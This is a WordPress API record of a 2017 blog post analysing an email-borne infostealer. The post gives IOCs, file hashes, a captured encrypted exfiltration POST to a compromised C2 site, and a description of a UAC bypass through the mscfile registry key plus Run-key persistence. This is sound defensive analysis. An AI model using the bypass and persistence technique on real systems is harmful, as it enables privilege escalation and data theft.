{"id":1009,"date":"2017-11-01T10:08:43","date_gmt":"2017-11-01T10:08:43","guid":{"rendered":"http:\/\/www.herbiez.com\/?p=1009"},"modified":"2017-11-01T10:43:16","modified_gmt":"2017-11-01T10:43:16","slug":"2017-10-29-generic-infostealer-malware-using-uac-bypass","status":"publish","type":"post","link":"https:\/\/www.herbiez.com\/?p=1009","title":{"rendered":"2017-10-30 Generic Infostealer Malware Using UAC Bypass"},"content":{"rendered":"<p>A quick write-up on a generic infostealer that also uses a UAC bypass technique. I could not find much about this malware outside that it was a generic information stealing malware. For some interesting reading on how to bypass UAC within Windows, please see the following links:<\/p>\n<p><a href=\"http:\/\/enigma0x3.net\/2016\/08\/15\/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking\/\" rel=\"noopener\" target=\"_blank\">http:\/\/enigma0x3.net\/2016\/08\/15\/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking\/<\/a><br \/>\n<a href=\"http:\/\/enigma0x3.net\/2016\/07\/22\/bypassing-uac-on-windows-10-using-disk-cleanup\/\" rel=\"noopener\" target=\"_blank\">http:\/\/enigma0x3.net\/2016\/07\/22\/bypassing-uac-on-windows-10-using-disk-cleanup\/<\/a><br \/>\n<a href=\"http:\/\/isc.sans.edu\/forums\/diary\/Malicious+Office+files+using+fileless+UAC+bypass+to+drop+KEYBASE+malware\/22011\/\" rel=\"noopener\" target=\"_blank\">http:\/\/isc.sans.edu\/forums\/diary\/Malicious+Office+files+using+fileless+UAC+bypass+to+drop+KEYBASE+malware\/22011\/<\/a><\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/11\/Email.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/11\/Email.png\" alt=\"\" width=\"472\" height=\"339\" class=\"aligncenter size-full wp-image-1011\" \/><\/a><\/p>\n<p>For the artifacts, ProcMon logs, and the PCAP from the investigation, please see my Github repo <a href=\"http:\/\/github.com\/bloomer1016\/2017-10-30-Generic-InfoStealer-Using-UAC-Bypass\" rel=\"noopener\" target=\"_blank\">here<\/a>. <\/p>\n<p>IOCs:<br \/>\n=====<br \/>\n216.146.43.70 \/ checkip[.]dyndns.org (GET \/)<br \/>\n37.72.171.98 \/ yatupaints[.]com (POST \/WebPanel\/api.php)<\/p>\n<p>Artifacts:<br \/>\n==========<br \/>\nFile name: PO.zip<br \/>\nFile size: 128KB<br \/>\nFile path: NA<br \/>\nMD5 hash: 96d897d444793e2aea70cf6b28224eac<br \/>\nVirustotal: <a href=\"http:\/\/www.virustotal.com\/#\/file\/4e01b1b9f1d1068de5d461f4469c7bfc1ccc906b182ee7354b6b6879e5110fdd\/detection\" rel=\"noopener\" target=\"_blank\">http:\/\/www.virustotal.com\/#\/file\/4e01b1b9f1d1068de5d461f4469c7bfc1ccc906b182ee7354b6b6879e5110fdd\/detection<\/a><br \/>\nDetection ratio: 7 \/ 63<br \/>\nFirst detected: 2017-10-30 11:18:21<\/p>\n<p>File name: PO.exe<br \/>\nFile size: 147KB<br \/>\nFile path: NA<br \/>\nMD5 hash: 0c5e779aa368674ab500d75c2ada0cb6<br \/>\nVirustotal: <a href=\"http:\/\/www.virustotal.com\/#\/file\/868988a9a06c040a9cdf4b194b91ddafd588efc2f5bf5f2cd3382d97ae1a0372\/detection\" rel=\"noopener\" target=\"_blank\">http:\/\/www.virustotal.com\/#\/file\/868988a9a06c040a9cdf4b194b91ddafd588efc2f5bf5f2cd3382d97ae1a0372\/detection<\/a><br \/>\nDetection ratio: 17 \/ 67<br \/>\nFirst detected: 2017-10-30 11:19:16<\/p>\n<p>File name: TPO.exe<br \/>\nFile size: 144KB<br \/>\nFile path: C:\\Users\\Administrator\\AppData\\Local\\Temp\\Terry\\<br \/>\nMD5 hash: 0c5e779aa368674ab500d75c2ada0cb6<br \/>\nVirustotal: <a href=\"http:\/\/www.virustotal.com\/#\/file\/868988a9a06c040a9cdf4b194b91ddafd588efc2f5bf5f2cd3382d97ae1a0372\/detection\" rel=\"noopener\" target=\"_blank\">http:\/\/www.virustotal.com\/#\/file\/868988a9a06c040a9cdf4b194b91ddafd588efc2f5bf5f2cd3382d97ae1a0372\/detection<\/a><br \/>\nDetection ratio: 17 \/ 67<br \/>\nFirst detected: 2017-10-30 11:19:16<\/p>\n<p>File name: Xum.exe<br \/>\nFile size: 10.5KB<br \/>\nFile path: C:\\Users\\Administrator\\AppData\\Local\\Temp\\<br \/>\nMD5 hash: f683769b947501b5a98376619d5938bb<br \/>\nVirustotal: <a href=\"http:\/\/www.virustotal.com\/#\/file\/c2cae82e01d954e3a50feaebcd3f75de7416a851ea855d6f0e8aaac84a507ca3\/detection\" rel=\"noopener\" target=\"_blank\">http:\/\/www.virustotal.com\/#\/file\/c2cae82e01d954e3a50feaebcd3f75de7416a851ea855d6f0e8aaac84a507ca3\/detection<\/a><br \/>\nDetection ratio: 12 \/ 68<br \/>\nFirst detected: 2017-10-24 09:59:27<br \/>\nHybrid-Analysis: <a href=\"http:\/\/www.hybrid-analysis.com\/sample\/c2cae82e01d954e3a50feaebcd3f75de7416a851ea855d6f0e8aaac84a507ca3?environmentId=100\" rel=\"noopener\" target=\"_blank\">http:\/\/www.hybrid-analysis.com\/sample\/c2cae82e01d954e3a50feaebcd3f75de7416a851ea855d6f0e8aaac84a507ca3?environmentId=100<\/a><\/p>\n<p>File name: E39.exe<br \/>\nFile size: 10.5KB<br \/>\nFile path: C:\\Users\\Administrator\\AppData\\Local\\Temp\\<br \/>\nMD5 hash: f683769b947501b5a98376619d5938bb<br \/>\nVirustotal: <a href=\"http:\/\/www.virustotal.com\/#\/file\/c2cae82e01d954e3a50feaebcd3f75de7416a851ea855d6f0e8aaac84a507ca3\/detection\" rel=\"noopener\" target=\"_blank\">http:\/\/www.virustotal.com\/#\/file\/c2cae82e01d954e3a50feaebcd3f75de7416a851ea855d6f0e8aaac84a507ca3\/detection<\/a><br \/>\nDetection ratio: 12 \/ 68<br \/>\nFirst detected: 2017-10-24 09:59:27<br \/>\nHybrid-Analysis: <a href=\"http:\/\/www.hybrid-analysis.com\/sample\/c2cae82e01d954e3a50feaebcd3f75de7416a851ea855d6f0e8aaac84a507ca3?environmentId=100\" rel=\"noopener\" target=\"_blank\">http:\/\/www.hybrid-analysis.com\/sample\/c2cae82e01d954e3a50feaebcd3f75de7416a851ea855d6f0e8aaac84a507ca3?environmentId=100<\/a><\/p>\n<p>Analysis:<br \/>\n=========<br \/>\nLike I stated above, the malware was obtained from an email which had a malicious zip file attached to it. Within the zip file, there was nothing but a malicious binary file (PO.exe). Since there was no script to get the callbacks from, I ran the malware inside my VM. From a network perspective, there is very little to this infection. Initially the malware does an IP address lookup:<\/p>\n<pre class=\"brush: plain; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nGET \/ HTTP\/1.1\r\nHost: checkip.dyndns.org\r\nConnection: Keep-Alive\r\n\r\nHTTP\/1.1 200 OK\r\nContent-Type: text\/html\r\nServer: DynDNS-CheckIP\/1.0.1\r\nConnection: close\r\nCache-Control: no-cache\r\nPragma: no-cache\r\nContent-Length: 106\r\n\r\n&lt;html&gt;&lt;head&gt;&lt;title&gt;Current IP Check&lt;\/title&gt;&lt;\/head&gt;&lt;body&gt;Current IP Address: 104.238.169.94&lt;\/body&gt;&lt;\/html&gt;<\/pre>\n<p>And then starts POST&#8217;ing information back to the compromised site. Below is an example of one of the POSTs. <\/p>\n<pre class=\"brush: plain; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nPOST \/WebPanel\/api.php HTTP\/1.1\r\nUser-Agent: Mozilla\/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko\/20100401 Firefox\/4.0 (.NET CLR 3.5.30729)\r\nContent-Type: application\/x-www-form-urlencoded\r\nHost: yatupaints.com\r\nContent-Length: 242\r\nExpect: 100-continue\r\nConnection: Keep-Alive\r\n\r\nHTTP\/1.1 100 Continue\r\n\r\np=G1DZYwdIiDZ6V83seaZCmZSKV8IG2BNrpywIHacb0RH7ctaMCbrVpnO\/hZoBQHJ%2BdorK5fZ6UnnxWGG2N47xMTXHOG06O%2BtXV2jAVMKhsnLYJNncDHiM4Ed\/BTDvYfcRRc9KYJjOkEV0zU5SIVgNldNQsIHvAP59EZ40BrlZCpT1eLkDmBH1SpZl2lDK3erECX2neHaaMQQBbQBnvV2BpGzIZlD6HosKiKj54aVUQs0=\r\n\r\nHTTP\/1.1 200 OK\r\nX-Powered-By: PHP\/5.6.31\r\nContent-Type: text\/html; charset=UTF-8\r\nContent-Length: 2\r\nDate: Mon, 30 Oct 2017 11:31:39 GMT\r\nAccept-Ranges: bytes\r\nServer: LiteSpeed\r\nConnection: close\r\n\r\n\t\t<\/pre>\n<p>Since the traffic was encrypted there was no telling what information was being communicated back to the compromised host. <\/p>\n<p>Moving from the network to the host, this is where it gets interesting. <\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/11\/Process-Tree.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/11\/Process-Tree.png\" alt=\"\" width=\"1813\" height=\"102\" class=\"aligncenter size-full wp-image-1014\" \/><\/a><\/p>\n<p>This malware seems to be using a UAC bypass technique where the malware itself is running in a lower privilege, but is still able to get the process started in a higher privilege mode by setting the registry key &#8220;HKCU\\Software\\Classes\\mscfile\\shell\\open\\command&#8221; to call Powershell.<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/11\/MSCFile.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/11\/MSCFile.png\" alt=\"\" width=\"952\" height=\"281\" class=\"aligncenter size-full wp-image-1012\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/11\/MSCFile-1.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/11\/MSCFile-1.png\" alt=\"\" width=\"1887\" height=\"260\" class=\"aligncenter size-full wp-image-1013\" \/><\/a><\/p>\n<p>As seen in the image above, as soon as the key is created, and then modified, it then deletes itself from the registry to tidy itself up.<\/p>\n<p>Persistence for this infection is done by modifying the &#8220;HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run&#8221; key to run the &#8220;TPO.exe&#8221; binary.<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/11\/Autorun.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/11\/Autorun.png\" alt=\"\" width=\"901\" height=\"313\" class=\"aligncenter size-full wp-image-1010\" \/><\/a><\/p>\n<p>After rebooting the VM, I noticed that the same process ran again where the Event Viewer would open automatically and a command window would open and then close quickly as seen in the video located <a href=\"http:\/\/youtu.be\/zTmD5wqFKvI\" rel=\"noopener\" target=\"_blank\">here<\/a>. So most likely the binary that is in the &#8220;Run&#8221; key is performing the same UAC bypass all over again. Each time the system is rebooted, there is a new binary placed in the %TEMP% directory as well. That is why &#8220;Xum.exe&#8221; and &#8220;E39.exe&#8221; have the same hash and is most likely being created by the &#8220;TPO.exe&#8221; process when rebooted.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>A quick write-up on a generic infostealer that also uses a UAC bypass technique. I could not find much about this malware outside that it was a generic information stealing malware. For some interesting reading on how to bypass UAC within Windows, please see the following links: http:\/\/enigma0x3.net\/2016\/08\/15\/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking\/ http:\/\/enigma0x3.net\/2016\/07\/22\/bypassing-uac-on-windows-10-using-disk-cleanup\/ http:\/\/isc.sans.edu\/forums\/diary\/Malicious+Office+files+using+fileless+UAC+bypass+to+drop+KEYBASE+malware\/22011\/ For the artifacts, ProcMon logs, and the PCAP from the investigation, please see my Github repo here. IOCs: ===== 216.146.43.70 \/ checkip[.]dyndns.org (GET \/) 37.72.171.98 \/ yatupaints[.]com (POST \/WebPanel\/api.php) Artifacts: ========== File name: PO.zip File size: 128KB File path: NA MD5 hash: 96d897d444793e2aea70cf6b28224eac Virustotal: http:\/\/www.virustotal.com\/#\/file\/4e01b1b9f1d1068de5d461f4469c7bfc1ccc906b182ee7354b6b6879e5110fdd\/detection Detection ratio: 7 \/ 63&#8230;<\/p>\n<p> <a class=\"continue-reading-link\" href=\"https:\/\/www.herbiez.com\/?p=1009\"><span>Continue reading<\/span><i class=\"crycon-right-dir\"><\/i><\/a> <\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[17,16],"class_list":["post-1009","post","type-post","status-publish","format-standard","hentry","category-packet-analysis","tag-infostealer","tag-uac-bypass"],"_links":{"self":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/1009","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1009"}],"version-history":[{"count":4,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/1009\/revisions"}],"predecessor-version":[{"id":1017,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/1009\/revisions\/1017"}],"wp:attachment":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1009"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1009"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1009"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}